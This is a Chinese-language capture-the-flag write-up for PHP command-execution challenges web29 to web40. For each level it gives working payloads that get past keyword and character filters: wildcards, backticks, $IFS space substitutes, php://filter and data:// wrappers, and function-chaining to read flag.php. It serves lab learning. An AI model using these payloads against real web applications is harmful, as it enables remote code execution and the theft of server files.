web29
eval我们用system直接执行,flag大小写被过滤了。其实这题可以用反斜杠绕过,但是为了增长知识点,还是用新方法。那就通配符吧。payload:
?c=system('cat f*');
打开源代码可以看到flag。
web30
system被ban了,用``这个符号可以代替命令执行,所以payload:
?c=echo `cat f*`;
然后查看源码找到flag。
web31
这题空格被ban了,空格绕过的方法有:
- $IFS$9
- $IFS
- %20
- %09(代表\t,即tab,就是四个空格)
- <和<>
- ${IFS}
我们随便拿一个用就行,cat也被ban了,那就tac,payload:
?c=echo%09`tac%09f*`;
web32
本题echo也被ban了,所以只能用文件包含命令了:
在include文件包含中,使用php伪协议进行文件的读取,payload:
?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php
然后拿去base64解密就行了。
web33
多ban了个双引号,其他和刚刚一样,payload不变:
?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php
然后拿去base64解密就行了。
web34
也和上题一样,payload:
?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php
然后拿去base64解密就行了。
web35
也和上题一样,payload:
?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php
然后拿去base64解密就行了。
web36
也和上题一样,payload:
?c=include$_GET[J]?%3E&J=php://filter/convert.base64-encode/resource=flag.php
然后拿去base64解密就行了。
web37
本题过滤了flag:
所以不能使用php协议进行读取了,我们用data协议进行读取,payload:
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGYqIikKPz4=
(其中这段base64编码是:
<?php
system("tac f*")
?>)
web38
也和上题一样,payload:
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGYqIikKPz4=
然后就得到了flag。
web39
跟上题类似,但是后面加了后缀:
我们可以在payload最后加上注释,把后面的.php给注释掉,payload:
?c=data://text/plain,<?=system(%27tac%20fla*.php%27);?>#
然后就得到了flag。
web40
这题过滤了很多符号,可以用字母和小括号。它过滤的是中文的小括号:
但是函数调用不会用,这里看了wp发现了三个方法:
?c=eval(next(reset(get_defined_vars())));&1=system("tac%20flag.php");
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
然后就得到了flag。